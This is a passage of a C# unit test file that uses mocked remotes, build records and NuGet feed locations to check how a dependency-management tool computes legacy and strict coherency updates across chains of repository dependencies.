RepoHasDependencies(dependencyGraphRemoteMock, "repoB", "commit5", repoBDeps); BuildProducesAssets(barClientMock, "repoC", "commit7", new List<(string name, string version, string[] locations)> { ("depC", "v1000", null), ("depZ", "v64", null), }); // This should bring B and C in line. List<DependencyUpdate> coherencyUpdates = await remote.GetRequiredCoherencyUpdatesAsync(existingDetails, remoteFactoryMock.Object, CoherencyMode.Legacy); Assert.Collection(coherencyUpdates, u => { Assert.Equal(depC, u.From); Assert.Equal("v1000", u.To.Version); Assert.Equal("commit7", u.To.Commit); Assert.Equal("repoC", u.To.RepoUri); }, u => { Assert.Equal(depB, u.From); Assert.Equal("v10", u.To.Version); Assert.Equal("commit5", u.To.Commit); Assert.Equal("repoB", u.To.RepoUri); }); } /// <summary> /// Coherent dependency test with two 3 repo chains that have a common element. /// This should show only a single update for each element. /// </summary> /// <returns></returns> [Theory] [InlineData(true)] [InlineData(false)] public async Task CoherencyUpdateTests10(bool pinHead) { // Initialize Mock<IBarClient> barClientMock = new Mock<IBarClient>(); Remote remote = new Remote(null, barClientMock.Object, NullLogger.Instance); // Mock the remote used by build dependency graph to gather dependency details. Mock<IRemote> dependencyGraphRemoteMock = new Mock<IRemote>(); // Always return the main remote. var remoteFactoryMock = new Mock<IRemoteFactory>(); remoteFactoryMock.Setup(m => m.GetRemoteAsync(It.IsAny<string>(), It.IsAny<ILogger>())).ReturnsAsync(dependencyGraphRemoteMock.Object); remoteFactoryMock.Setup(m => m.GetBarOnlyRemoteAsync(It.IsAny<ILogger>())).ReturnsAsync(remote); List<DependencyDetail> existingDetails = new List<DependencyDetail>(); DependencyDetail depA = AddDependency(existingDetails, "depA", "v1", "repoA", "commit1", pinned: pinHead); DependencyDetail depB = AddDependency(existingDetails, "depB", "v3", "repoB", "commit2", pinned: false, coherentParent: "depA"); // Both C and D depend on B DependencyDetail depC = AddDependency(existingDetails, "depC", "v0", "repoC", "commit3", pinned: false, coherentParent: "depB"); DependencyDetail depD = AddDependency(existingDetails, "depD", "v50", "repoD", "commit5", pinned: false, coherentParent: "depB"); BuildProducesAssets(barClientMock, "repoA", "commit1", new List<(string name, string version, string[] locations)> { ("depA", "v1", null) }); List<DependencyDetail> repoADeps = new List<DependencyDetail>(); AddDependency(repoADeps, "depY", "v42", "repoB", "commit5", pinned: false); RepoHasDependencies(dependencyGraphRemoteMock, "repoA", "commit1", repoADeps); BuildProducesAssets(barClientMock, "repoB", "commit5", new List<(string name, string version, string[] locations)> { ("depB", "v10", null), ("depY", "v42", null), }); List<DependencyDetail> repoBDeps = new List<DependencyDetail>(); AddDependency(repoBDeps, "depQ", "v66", "repoD", "commit35", pinned: false); AddDependency(repoBDeps, "depZ", "v64", "repoC", "commit7", pinned: false); RepoHasDependencies(dependencyGraphRemoteMock, "repoB", "commit5", repoBDeps); BuildProducesAssets(barClientMock, "repoC", "commit7", new List<(string name, string version, string[] locations)> { ("depC", "v1000", null), ("depZ", "v64", null), }); BuildProducesAssets(barClientMock, "repoD", "commit35", new List<(string name, string version, string[] locations)> { ("depD", "v1001", null), ("depQ", "v66", null), }); // This should bring B and C in line. List<DependencyUpdate> coherencyUpdates = await remote.GetRequiredCoherencyUpdatesAsync(existingDetails, remoteFactoryMock.Object, CoherencyMode.Legacy); Assert.Collection(coherencyUpdates, u => { Assert.Equal(depC, u.From); Assert.Equal("v1000", u.To.Version); Assert.Equal("commit7", u.To.Commit); Assert.Equal("repoC", u.To.RepoUri); }, u => { Assert.Equal(depB, u.From); Assert.Equal("v10", u.To.Version); Assert.Equal("commit5", u.To.Commit); Assert.Equal("repoB", u.To.RepoUri); }, u => { Assert.Equal(depD, u.From); Assert.Equal("v1001", u.To.Version); Assert.Equal("commit35", u.To.Commit); Assert.Equal("repoD", u.To.RepoUri); }); } /// <summary> /// Test that a simple set of non-coherency updates works, /// and that a file with no coherency updates does nothing /// </summary> [Fact] public async Task StrictCoherencyUpdateTests1() { // Initialize Mock<IBarClient> barClientMock = new Mock<IBarClient>(); Remote remote = new Remote(null, barClientMock.Object, NullLogger.Instance); // Mock the remote used by build dependency graph to gather dependency details. Mock<IRemote> remoteMock = new Mock<IRemote>(); // Always return the main remote. var remoteFactoryMock = new Mock<IRemoteFactory>(); remoteFactoryMock.Setup(m => m.GetRemoteAsync(It.IsAny<string>(), It.IsAny<ILogger>())).ReturnsAsync(remoteMock.Object); remoteFactoryMock.Setup(m => m.GetBarOnlyRemoteAsync(It.IsAny<ILogger>())).ReturnsAsync(remote); List<DependencyDetail> existingDetails = new List<DependencyDetail>(); DependencyDetail depA = AddDependency(existingDetails, "depA", "v1", "repoA", "commit1", pinned: false); DependencyDetail depB = AddDependency(existingDetails, "depB", "v1", "repoB", "commit1", pinned: false); List<AssetData> assets = new List<AssetData>() { new AssetData(false) { Name = "depA", Version = "v2"} }; List<DependencyUpdate> nonCoherencyUpdates = await remote.GetRequiredNonCoherencyUpdatesAsync("repoA", "commit2", assets, existingDetails); Assert.Collection(nonCoherencyUpdates, u => { Assert.Equal(depA, u.From); Assert.Equal("v2", u.To.Version); }); // Update the current dependency details with the non coherency updates UpdateCurrentDependencies(existingDetails, nonCoherencyUpdates); List<DependencyUpdate> coherencyUpdates = await remote.GetRequiredCoherencyUpdatesAsync(existingDetails, remoteFactoryMock.Object, CoherencyMode.Strict); // Should have no coherency updates Assert.Empty(coherencyUpdates); } /// <summary> /// Test that a simple strict coherency update fails because depA does not have a dependency on depB. /// Strict coherency does not involve any graph build, and only /// looks one level deep. /// </summary> [Fact] public async Task StrictCoherencyUpdateTests2() { // Initialize Mock<IBarClient> barClientMock = new Mock<IBarClient>(); Remote remote = new Remote(null, barClientMock.Object, NullLogger.Instance); // Mock the remote used by build dependency graph to gather dependency details. Mock<IRemote> remoteMock = new Mock<IRemote>(); // Always return the main remote. var remoteFactoryMock = new Mock<IRemoteFactory>(); remoteFactoryMock.Setup(m => m.GetRemoteAsync(It.IsAny<string>(), It.IsAny<ILogger>())).ReturnsAsync(remoteMock.Object); remoteFactoryMock.Setup(m => m.GetBarOnlyRemoteAsync(It.IsAny<ILogger>())).ReturnsAsync(remote); List<DependencyDetail> existingDetails = new List<DependencyDetail>(); DependencyDetail depA = AddDependency(existingDetails, "depA", "v1", "repoA", "commit1", pinned: false); DependencyDetail depB = AddDependency(existingDetails, "depB", "v1", "repoB", "commit1", pinned: false, coherentParent: "depA"); DarcCoherencyException coherencyException = await Assert.ThrowsAsync<DarcCoherencyException>(async () => await remote.GetRequiredCoherencyUpdatesAsync(existingDetails, remoteFactoryMock.Object, CoherencyMode.Strict)); // Coherency exception should be for depB, saying that repoA @ commit1 has no such dependency Assert.Collection(coherencyException.Errors, e => { Assert.Equal(e.Dependency.Name, depB.Name); Assert.Equal(e.Error, $"{depA.RepoUri} @ {depA.Commit} does not contain dependency {depB.Name}"); }); } /// <summary> /// Test that a simple strict coherency update fails because depA does not have a dependency on depB. /// Strict coherency does not involve any graph build, and only /// looks one level deep. This test adds another layer where depB appears. That version should /// not be chosen. /// </summary> [Fact] public async Task StrictCoherencyUpdateTests3() { // Initialize Mock<IBarClient> barClientMock = new Mock<IBarClient>(); Remote remote = new Remote(null, barClientMock.Object, NullLogger.Instance); // Mock the remote used by build dependency graph to gather dependency details. Mock<IRemote> remoteMock = new Mock<IRemote>(); // Always return the main remote. var remoteFactoryMock = new Mock<IRemoteFactory>(); remoteFactoryMock.Setup(m => m.GetRemoteAsync(It.IsAny<string>(), It.IsAny<ILogger>())).ReturnsAsync(remoteMock.Object); remoteFactoryMock.Setup(m => m.GetBarOnlyRemoteAsync(It.IsAny<ILogger>())).ReturnsAsync(remote); List<DependencyDetail> existingDetails = new List<DependencyDetail>(); DependencyDetail depA = AddDependency(existingDetails, "depA", "v1", "repoA", "commit1", pinned: false); DependencyDetail depB = AddDependency(existingDetails, "depB", "v1", "repoB", "commit1", pinned: false, coherentParent: "depA"); List<DependencyDetail> repoADeps = new List<DependencyDetail>(); AddDependency(repoADeps, "depY", "v42", "repoB", "commit5", pinned: false); RepoHasDependencies(remoteMock, "repoA", "commit1", repoADeps); DarcCoherencyException coherencyException = await Assert.ThrowsAsync<DarcCoherencyException>(async () => await remote.GetRequiredCoherencyUpdatesAsync(existingDetails, remoteFactoryMock.Object, CoherencyMode.Strict)); // Coherency exception should be for depB, saying that repoA @ commit1 has no such dependency Assert.Collection(coherencyException.Errors, e => { Assert.Equal(e.Dependency.Name, depB.Name); Assert.Equal(e.Error, $"{depA.RepoUri} @ {depA.Commit} does not contain dependency {depB.Name}"); }); } /// <summary> /// Test that a simple strict coherency passes and chooses the right version for depB. /// </summary> [Fact] public async Task StrictCoherencyUpdateTests4() { // Initialize Mock<IBarClient> barClientMock = new Mock<IBarClient>(); Remote remote = new Remote(null, barClientMock.Object, NullLogger.Instance); // Mock the remote used by build dependency graph to gather dependency details. Mock<IRemote> remoteMock = new Mock<IRemote>(); // Always return the main remote. var remoteFactoryMock = new Mock<IRemoteFactory>(); remoteFactoryMock.Setup(m => m.GetRemoteAsync(It.IsAny<string>(), It.IsAny<ILogger>())).ReturnsAsync(remoteMock.Object); remoteFactoryMock.Setup(m => m.GetBarOnlyRemoteAsync(It.IsAny<ILogger>())).ReturnsAsync(remote); List<DependencyDetail> existingDetails = new List<DependencyDetail>(); DependencyDetail depA = AddDependency(existingDetails, "depA", "v1", "repoA", "commit1", pinned: false); DependencyDetail depB = AddDependency(existingDetails, "depB", "v1", "repoB", "commit1", pinned: false, coherentParent: "depA"); List<DependencyDetail> repoADeps = new List<DependencyDetail>(); AddDependency(repoADeps, depB.Name, "v42", depB.RepoUri, "commit5", pinned: false); RepoHasDependencies(remoteMock, "repoA", "commit1", repoADeps); List<DependencyUpdate> coherencyUpdates = await remote.GetRequiredCoherencyUpdatesAsync(existingDetails, remoteFactoryMock.Object, CoherencyMode.Strict); Assert.Collection(coherencyUpdates, u => { Assert.Equal(depB, u.From); Assert.Equal("v42", u.To.Version); Assert.Equal("commit5", u.To.Commit); Assert.Equal(depB.RepoUri, u.To.RepoUri); Assert.Equal(depB.Name, u.To.Name); }); } /// <summary> /// Test that a strict update on a dependency chain works. /// The dependency chain means the head of the chain moves first, /// potentially affecting other parts of the chain. /// </summary> [Fact] public async Task StrictCoherencyUpdateTests5() { // Initialize Mock<IBarClient> barClientMock = new Mock<IBarClient>(); Remote remote = new Remote(null, barClientMock.Object, NullLogger.Instance); // Mock the remote used by build dependency graph to gather dependency details. Mock<IRemote> remoteMock = new Mock<IRemote>(); // Always return the main remote. var remoteFactoryMock = new Mock<IRemoteFactory>(); remoteFactoryMock.Setup(m => m.GetRemoteAsync(It.IsAny<string>(), It.IsAny<ILogger>())).ReturnsAsync(remoteMock.Object); remoteFactoryMock.Setup(m => m.GetBarOnlyRemoteAsync(It.IsAny<ILogger>())).ReturnsAsync(remote); List<DependencyDetail> existingDetails = new List<DependencyDetail>(); DependencyDetail depA = AddDependency(existingDetails, "depA", "v1", "repoA", "commit1", pinned: false); DependencyDetail depB = AddDependency(existingDetails, "depB", "v1", "repoB", "commit1", pinned: false, coherentParent: "depA"); DependencyDetail depC = AddDependency(existingDetails, "depC", "v1", "repoC", "commit1", pinned: false, coherentParent: "depB"); List<DependencyDetail> repoADeps = new List<DependencyDetail>(); AddDependency(repoADeps, depB.Name, "v42", depB.RepoUri, "commit5", pinned: false); RepoHasDependencies(remoteMock, "repoA", "commit1", repoADeps); // This set of deps should not be used because B should move before C gets updated List<DependencyDetail> repoBAtCommit1Deps = new List<DependencyDetail>(); AddDependency(repoBAtCommit1Deps, depC.Name, "v101", depC.RepoUri, "commit100", pinned: false); RepoHasDependencies(remoteMock, "repoB", "commit1", repoBAtCommit1Deps); List<DependencyDetail> repoBAtCommit5Deps = new List<DependencyDetail>(); AddDependency(repoBAtCommit5Deps, depC.Name, "v1000", depC.RepoUri, "commit1000", pinned: false); RepoHasDependencies(remoteMock, "repoB", "commit5", repoBAtCommit5Deps); List<DependencyUpdate> coherencyUpdates = await remote.GetRequiredCoherencyUpdatesAsync(existingDetails, remoteFactoryMock.Object, CoherencyMode.Strict); Assert.Collection(coherencyUpdates, u => { Assert.Equal(depB, u.From); Assert.Equal("v42", u.To.Version); Assert.Equal("commit5", u.To.Commit); Assert.Equal(depB.RepoUri, u.To.RepoUri); Assert.Equal(depB.Name, u.To.Name); }, u => { Assert.Equal(depC, u.From); Assert.Equal("v1000", u.To.Version); Assert.Equal("commit1000", u.To.Commit); Assert.Equal(depC.RepoUri, u.To.RepoUri); Assert.Equal(depC.Name, u.To.Name); }); } /// <summary> /// Test that a strict update on a dependency chain with some pinning works /// </summary> [Fact] public async Task StrictCoherencyUpdateTests6() { // Initialize Mock<IBarClient> barClientMock = new Mock<IBarClient>(); Remote remote = new Remote(null, barClientMock.Object, NullLogger.Instance); // Mock the remote used by build dependency graph to gather dependency details. Mock<IRemote> remoteMock = new Mock<IRemote>(); // Always return the main remote. var remoteFactoryMock = new Mock<IRemoteFactory>(); remoteFactoryMock.Setup(m => m.GetRemoteAsync(It.IsAny<string>(), It.IsAny<ILogger>())).ReturnsAsync(remoteMock.Object); remoteFactoryMock.Setup(m => m.GetBarOnlyRemoteAsync(It.IsAny<ILogger>())).ReturnsAsync(remote); List<DependencyDetail> existingDetails = new List<DependencyDetail>(); DependencyDetail depA = AddDependency(existingDetails, "depA", "v1", "repoA", "commit1", pinned: false); DependencyDetail depB = AddDependency(existingDetails, "depB", "v1", "repoB", "commit1", pinned: false, coherentParent: "depA"); // This is pinned and so should not move, meaning that D should update based on C @ commit1 DependencyDetail depC = AddDependency(existingDetails, "depC", "v1", "repoC", "commit1", pinned: true, coherentParent: "depB"); DependencyDetail depD = AddDependency(existingDetails, "depD", "v1", "repoD", "commit1", pinned: false, coherentParent: "depC"); List<DependencyDetail> repoADeps = new List<DependencyDetail>(); AddDependency(repoADeps, depB.Name, "v42", depB.RepoUri, "commit5", pinned: false); RepoHasDependencies(remoteMock, "repoA", "commit1", repoADeps); // This set of deps should not be used because B should move before C gets updated List<DependencyDetail> repoBAtCommit1Deps = new List<DependencyDetail>(); AddDependency(repoBAtCommit1Deps, depC.Name, "v101", depC.RepoUri, "commit100", pinned: false); RepoHasDependencies(remoteMock, "repoB", "commit1", repoBAtCommit1Deps); List<DependencyDetail> repoBAtCommit5Deps = new List<DependencyDetail>(); AddDependency(repoBAtCommit5Deps, depC.Name, "v1000", depC.RepoUri, "commit1000", pinned: false); RepoHasDependencies(remoteMock, "repoB", "commit5", repoBAtCommit5Deps); List<DependencyDetail> repoCAtCommit1Deps = new List<DependencyDetail>(); AddDependency(repoCAtCommit1Deps, depD.Name, "v2.5", depD.RepoUri, "commit2.5", pinned: false); RepoHasDependencies(remoteMock, "repoC", "commit1", repoCAtCommit1Deps); List<DependencyUpdate> coherencyUpdates = await remote.GetRequiredCoherencyUpdatesAsync(existingDetails, remoteFactoryMock.Object, CoherencyMode.Strict); Assert.Collection(coherencyUpdates, u => { Assert.Equal(depB, u.From); Assert.Equal("v42", u.To.Version); Assert.Equal("commit5", u.To.Commit); Assert.Equal(depB.RepoUri, u.To.RepoUri); Assert.Equal(depB.Name, u.To.Name); }, u => { Assert.Equal(depD, u.From); Assert.Equal("v2.5", u.To.Version); Assert.Equal("commit2.5", u.To.Commit); Assert.Equal(depD.RepoUri, u.To.RepoUri); Assert.Equal(depD.Name, u.To.Name); }); } /// <summary> /// Test that disambiguation with build info works if it is available. /// This test has the asset we are going to update to being generated by /// a build of the CPD parents commit. No location /// </summary> [Fact] public async Task StrictCoherencyUpdateTests7() { // Initialize Mock<IBarClient> barClientMock = new Mock<IBarClient>(); Remote remote = new Remote(null, barClientMock.Object, NullLogger.Instance); // Mock the remote used by build dependency graph to gather dependency details. Mock<IRemote> remoteMock = new Mock<IRemote>(); // Always return the main remote. var remoteFactoryMock = new Mock<IRemoteFactory>(); remoteFactoryMock.Setup(m => m.GetRemoteAsync(It.IsAny<string>(), It.IsAny<ILogger>())).ReturnsAsync(remoteMock.Object); remoteFactoryMock.Setup(m => m.GetBarOnlyRemoteAsync(It.IsAny<ILogger>())).ReturnsAsync(remote); List<DependencyDetail> existingDetails = new List<DependencyDetail>(); DependencyDetail depA = AddDependency(existingDetails, "depA", "v1", "repoA", "commit1", pinned: false); DependencyDetail depB = AddDependency(existingDetails, "depB", "v1", "repoB", "commit1", pinned: false, coherentParent: "depA"); List<DependencyDetail> repoADeps = new List<DependencyDetail>(); AddDependency(repoADeps, depB.Name, "v42", depB.RepoUri, "commit5", pinned: false); RepoHasDependencies(remoteMock, "repoA", "commit1", repoADeps); BuildProducesAssets(barClientMock, "repoB", "commit5", new List<(string name, string version, string[] locations)> { ("depB", "v42", null) }); List<DependencyUpdate> coherencyUpdates = await remote.GetRequiredCoherencyUpdatesAsync(existingDetails, remoteFactoryMock.Object, CoherencyMode.Strict); Assert.Collection(coherencyUpdates, u => { Assert.Equal(depB, u.From); Assert.Equal("v42", u.To.Version); Assert.Equal("commit5", u.To.Commit); Assert.Equal(depB.RepoUri, u.To.RepoUri); Assert.Equal(depB.Name, u.To.Name); Assert.Null(u.To.Locations); }); } /// <summary> /// Test that disambiguation with build info works if it is available. /// This test has the asset we are going to update to being generated by /// a build of the CPD parents commit. This asset has a location. /// </summary> [Fact] public async Task StrictCoherencyUpdateTests8() { // Initialize Mock<IBarClient> barClientMock = new Mock<IBarClient>(); Remote remote = new Remote(null, barClientMock.Object, NullLogger.Instance); // Mock the remote used by build dependency graph to gather dependency details. Mock<IRemote> remoteMock = new Mock<IRemote>(); // Always return the main remote. var remoteFactoryMock = new Mock<IRemoteFactory>(); remoteFactoryMock.Setup(m => m.GetRemoteAsync(It.IsAny<string>(), It.IsAny<ILogger>())).ReturnsAsync(remoteMock.Object); remoteFactoryMock.Setup(m => m.GetBarOnlyRemoteAsync(It.IsAny<ILogger>())).ReturnsAsync(remote); List<DependencyDetail> existingDetails = new List<DependencyDetail>(); DependencyDetail depA = AddDependency(existingDetails, "depA", "v1", "repoA", "commit1", pinned: false); DependencyDetail depB = AddDependency(existingDetails, "depB", "v1", "repoB", "commit1", pinned: false, coherentParent: "depA"); List<DependencyDetail> repoADeps = new List<DependencyDetail>(); AddDependency(repoADeps, depB.Name, "v42", depB.RepoUri, "commit5", pinned: false); RepoHasDependencies(remoteMock, "repoA", "commit1", repoADeps); BuildProducesAssets(barClientMock, "repoB", "commit5", new List<(string name, string version, string[])> { ("depB", "v42", new string[] { "https://pkgs.dev.azure.com/dnceng/public/_packaging/dotnet5-transport/nuget/v3/index.json" } ) }); List<DependencyUpdate> coherencyUpdates = await remote.GetRequiredCoherencyUpdatesAsync(existingDetails, remoteFactoryMock.Object, CoherencyMode.Strict); Assert.Collection(coherencyUpdates, u => { Assert.Equal(depB, u.From); Assert.Equal("v42", u.To.Version); Assert.Equal("commit5", u.To.Commit); Assert.Equal(depB.RepoUri, u.To.RepoUri); Assert.Equal(depB.Name, u.To.Name); Assert.Collection(u.To.Locations, u => { Assert.Equal("https://pkgs.dev.azure.com/dnceng/public/_packaging/dotnet5-transport/nuget/v3/index.json", u); } ); }); } /// <summary> /// Test that disambiguation with build info works if it is available. /// This test has the asset we are going to update to being generated by /// a build of the CPD parents commit. This asset has two locations. /// </summary> [Fact] public async Task StrictCoherencyUpdateTests9() { // Initialize Mock<IBarClient> barClientMock = new Mock<IBarClient>(); Remote remote = new Remote(null, barClientMock.Object, NullLogger.Instance); // Mock the remote used by build dependency graph to gather dependency details. Mock<IRemote> remoteMock = new Mock<IRemote>(); // Always return the main remote. var remoteFactoryMock = new Mock<IRemoteFactory>(); remoteFactoryMock.Setup(m => m.GetRemoteAsync(It.IsAny<string>(), It.IsAny<ILogger>())).ReturnsAsync(remoteMock.Object); remoteFactoryMock.Setup(m => m.GetBarOnlyRemoteAsync(It.IsAny<ILogger>())).ReturnsAsync(remote); List<DependencyDetail> existingDetails = new List<DependencyDetail>(); DependencyDetail depA = AddDependency(existingDetails, "depA", "v1", "repoA", "commit1", pinned: false); DependencyDetail depB = AddDependency(existingDetails, "depB", "v1", "repoB", "commit1", pinned: false, coherentParent: "depA"); List<DependencyDetail> repoADeps = new List<DependencyDetail>(); AddDependency(repoADeps, depB.Name, "v42", depB.RepoUri, "commit5", pinned: false); RepoHasDependencies(remoteMock, "repoA", "commit1", repoADeps); BuildProducesAssets(barClientMock, "repoB", "commit5", new List<(string name, string version, string[])> { ("depB", "v42", new string[] { "https://pkgs.dev.azure.com/dnceng/public/_packaging/dotnet5-transport/nuget/v3/index.json", "https://dotnetfeed.blob.core.windows.net/dotnet-core/index.json" } ) }); List<DependencyUpdate> coherencyUpdates = await remote.GetRequiredCoherencyUpdatesAsync(existingDetails, remoteFactoryMock.Object, CoherencyMode.Strict); Assert.Collection(coherencyUpdates, u => { Assert.Equal(depB, u.From); Assert.Equal("v42", u.To.Version); Assert.Equal("commit5", u.To.Commit); Assert.Equal(depB.RepoUri, u.To.RepoUri); Assert.Equal(depB.Name, u.To.Name); Assert.Collection(u.To.Locations, u => { Assert.Equal("https://pkgs.dev.azure.com/dnceng/public/_packaging/dotnet5-transport/nuget/v3/index.json", u); }, u => { Assert.Equal("https://dotnetfeed.blob.core.windows.net/dotnet-core/index.json", u); } ); }); } /// <summary> /// Test that disambiguation with build info works if it is available. /// This test has the asset we are going to update to being generated by /// two separate builds of the CPD parents commit. Only one asset has a location, /// but doesn't match the nuget.config. In this case, the lateset build should be returned. /// </summary> [Fact] public async Task StrictCoherencyUpdateTests10() { // Initialize Mock<IBarClient> barClientMock = new Mock<IBarClient>(); Mock<IGitRepo> gitRepoMock = new Mock<IGitRepo>(); Remote remote = new Remote(gitRepoMock.Object, barClientMock.Object, NullLogger.Instance); // Mock the remote used by build dependency graph to gather dependency details. Mock<IRemote> remoteMock = new Mock<IRemote>(); // Always return the main remote. var remoteFactoryMock = new Mock<IRemoteFactory>(); remoteFactoryMock.Setup(m => m.GetRemoteAsync(It.IsAny<string>(), It.IsAny<ILogger>())).ReturnsAsync(remoteMock.Object); remoteFactoryMock.Setup(m => m.GetBarOnlyRemoteAsync(It.IsAny<ILogger>())).ReturnsAsync(remote); List<DependencyDetail> existingDetails = new List<DependencyDetail>(); DependencyDetail depA = AddDependency(existingDetails, "depA", "v1", "repoA", "commit1", pinned: false); DependencyDetail depB = AddDependency(existingDetails, "depB", "v1", "repoB", "commit1", pinned: false, coherentParent: "depA"); List<DependencyDetail> repoADeps = new List<DependencyDetail>(); AddDependency(repoADeps, depB.Name, "v42", depB.RepoUri, "commit5", pinned: false); RepoHasDependencies(remoteMock, "repoA", "commit1", repoADeps); RepoHadBuilds(barClientMock, "repoB", "commit5", new List<Build> { CreateBuild("repoB", "commit5", new List<(string name, string version, string[])> { ("depB", "v42", new string[] { "https://pkgs.dev.azure.com/dnceng/public/_packaging/dotnet5-transport/nuget/v3/index.json", "https://dotnetfeed.blob.core.windows.net/dotnet-core/index.json" } ) }, 13), CreateBuild("repoB", "commit5", new List<(string name, string version, string[])> { ("depB", "v42", null ) }, 1) }); // Repo has no feeds RepositoryHasFeeds(gitRepoMock, "repoA", "commit1", new string[] { }); List<DependencyUpdate> coherencyUpdates = await remote.GetRequiredCoherencyUpdatesAsync(existingDetails, remoteFactoryMock.Object, CoherencyMode.Strict); Assert.Collection(coherencyUpdates, u => { Assert.Equal(depB, u.From); Assert.Equal("v42", u.To.Version); Assert.Equal("commit5", u.To.Commit); Assert.Equal(depB.RepoUri, u.To.RepoUri); Assert.Equal(depB.Name, u.To.Name); Assert.Collection(u.To.Locations, u => { Assert.Equal("https://pkgs.dev.azure.com/dnceng/public/_packaging/dotnet5-transport/nuget/v3/index.json", u); }, u => { Assert.Equal("https://dotnetfeed.blob.core.windows.net/dotnet-core/index.json", u); } ); }); } /// <summary> /// Test that disambiguation with build info works if it is available. /// This test has the asset we are going to update to being generated by /// two separate builds of the CPD parents commit. Only one asset has a location /// and matches what is in the feed list. /// </summary> [Fact] public async Task StrictCoherencyUpdateTests11() { // Initialize Mock<IBarClient> barClientMock = new Mock<IBarClient>(); Mock<IGitRepo> gitRepoMock = new Mock<IGitRepo>(); Remote remote = new Remote(gitRepoMock.Object, barClientMock.Object, NullLogger.Instance); // Mock the remote used by build dependency graph to gather dependency details. Mock<IRemote> remoteMock = new Mock<IRemote>(); // Always return the main remote. var remoteFactoryMock = new Mock<IRemoteFactory>(); remoteFactoryMock.Setup(m => m.GetRemoteAsync(It.IsAny<string>(), It.IsAny<ILogger>())).ReturnsAsync(remoteMock.Object); remoteFactoryMock.Setup(m => m.GetBarOnlyRemoteAsync(It.IsAny<ILogger>())).ReturnsAsync(remote); List<DependencyDetail> existingDetails = new List<DependencyDetail>(); DependencyDetail depA = AddDependency(existingDetails, "depA", "v1", "repoA", "commit1", pinned: false); DependencyDetail depB = AddDependency(existingDetails, "depB", "v1", "repoB", "commit1", pinned: false, coherentParent: "depA"); List<DependencyDetail> repoADeps = new List<DependencyDetail>(); AddDependency(repoADeps, depB.Name, "v42", depB.RepoUri, "commit5", pinned: false); RepoHasDependencies(remoteMock, "repoA", "commit1", repoADeps); RepoHadBuilds(barClientMock, "repoB", "commit5", new List<Build> { CreateBuild("repoB", "commit5", new List<(string name, string version, string[])> { ("depB", "v42", null ) }), CreateBuild("repoB", "commit5", new List<(string name, string version, string[])> { ("depB", "v42", new string[] { "https://pkgs.dev.azure.com/dnceng/public/_packaging/dotnet5-transport/nuget/v3/index.json", "https://dotnetfeed.blob.core.windows.net/dotnet-core/index.json" } ) }) }); RepositoryHasFeeds(gitRepoMock, "repoA", "commit1", new string[] { "https://pkgs.dev.azure.com/dnceng/public/_packaging/dotnet5-transport/nuget/v3/index.json" }); List <DependencyUpdate> coherencyUpdates = await remote.GetRequiredCoherencyUpdatesAsync(existingDetails, remoteFactoryMock.Object, CoherencyMode.Strict); Assert.Collection(coherencyUpdates, u => { Assert.Equal(depB, u.From); Assert.Equal("v42", u.To.Version); Assert.Equal("commit5", u.To.Commit); Assert.Equal(depB.RepoUri, u.To.RepoUri); Assert.Equal(depB.Name, u.To.Name); Assert.Collection(u.To.Locations, u => { Assert.Equal("https://pkgs.dev.azure.com/dnceng/public/_packaging/dotnet5-transport/nuget/v3/index.json", u); }, u => { Assert.Equal("https://dotnetfeed.blob.core.windows.net/dotnet-core/index.json", u); } ); }); } /// <summary> /// Test that disambiguation with build info works if it is available. /// This test has the asset we are going to update to being generated by /// two separate builds of the CPD parents commit. Both builds have the assets, /// and neither matches. The later build should be returned. /// </summary> [Fact] public async Task StrictCoherencyUpdateTests12() { // Initialize Mock<IBarClient> barClientMock = new Mock<IBarClient>(); Mock<IGitRepo> gitRepoMock = new Mock<IGitRepo>(); Remote remote = new Remote(gitRepoMock.Object, barClientMock.Object, NullLogger.Instance); // Mock the remote used by build dependency graph to gather dependency details. Mock<IRemote> remoteMock = new Mock<IRemote>(); // Always return the main remote. var remoteFactoryMock = new Mock<IRemoteFactory>(); remoteFactoryMock.Setup(m => m.GetRemoteAsync(It.IsAny<string>(), It.IsAny<ILogger>())).ReturnsAsync(remoteMock.Object); remoteFactoryMock.Setup(m => m.GetBarOnlyRemoteAsync(It.IsAny<ILogger>())).ReturnsAsync(remote); List<DependencyDetail> existingDetails = new List<DependencyDetail>(); DependencyDetail depA = AddDependency(existingDetails, "depA", "v1", "repoA", "commit1", pinned: false); DependencyDetail depB = AddDependency(existingDetails, "depB", "v1", "repoB", "commit1", pinned: false, coherentParent: "depA"); List<DependencyDetail> repoADeps = new List<DependencyDetail>(); AddDependency(repoADeps, depB.Name, "v42", depB.RepoUri, "commit5", pinned: false); RepoHasDependencies(remoteMock, "repoA", "commit1", repoADeps); RepoHadBuilds(barClientMock, "repoB", "commit5", new List<Build> { CreateBuild("repoB", "commit5", new List<(string name, string version, string[])> { ("depB", "v42", new string[] { "https://pkgs.dev.azure.com/dnceng/public/_packaging/dotnet5/nuget/v3/index.json", "https://dotnetfeed.blob.core.windows.net/dotnet-core2/index.json" } ) }, 11), CreateBuild("repoB", "commit5", new List<(string name, string version, string[])> { ("depB", "v42", new string[] { "https://pkgs.dev.azure.com/dnceng/public/_packaging/dotnet5-transport/nuget/v3/index.json", "https://dotnetfeed.blob.core.windows.net/dotnet-core/index.json" } ) }, 10) }); RepositoryHasFeeds(gitRepoMock, "repoA", "commit1", new string[] { "https://pkgs.dev.azure.com/dnceng/public/_packaging/dotnet566/nuget/v3/index.json" }); List<DependencyUpdate> coherencyUpdates = await remote.GetRequiredCoherencyUpdatesAsync(existingDetails, remoteFactoryMock.Object, CoherencyMode.Strict); Assert.Collection(coherencyUpdates, u => { Assert.Equal(depB, u.From); Assert.Equal("v42", u.To.Version); Assert.Equal("commit5", u.To.Commit); Assert.Equal(depB.RepoUri, u.To.RepoUri); Assert.Equal(depB.Name, u.To.Name); Assert.Collection(u.To.Locations, u => { Assert.Equal("https://pkgs.dev.azure.com/dnceng/public/_packaging/dotnet5/nuget/v3/index.json", u); }, u => { Assert.Equal("https://dotnetfeed.blob.core.windows.net/dotnet-core2/index.json", u); } ); }); } /// <summary> /// Test that disambiguation with build info works if it is available. /// This test has the asset we are going to update to being generated by /// two separate builds of the CPD parents commit. Both builds have the assets, /// and one matches. The matching build should be returned /// </summary> [Fact] public async Task StrictCoherencyUpdateTests13() { // Initialize Mock<IBarClient> barClientMock = new Mock<IBarClient>(); Mock<IGitRepo> gitRepoMock = new Mock<IGitRepo>(); Remote remote = new Remote(gitRepoMock.Object, barClientMock.Object, NullLogger.Instance); // Mock the remote used by build dependency graph to gather dependency details. Mock<IRemote> remoteMock = new Mock<IRemote>(); // Always return the main remote. var remoteFactoryMock = new Mock<IRemoteFactory>(); remoteFactoryMock.Setup(m => 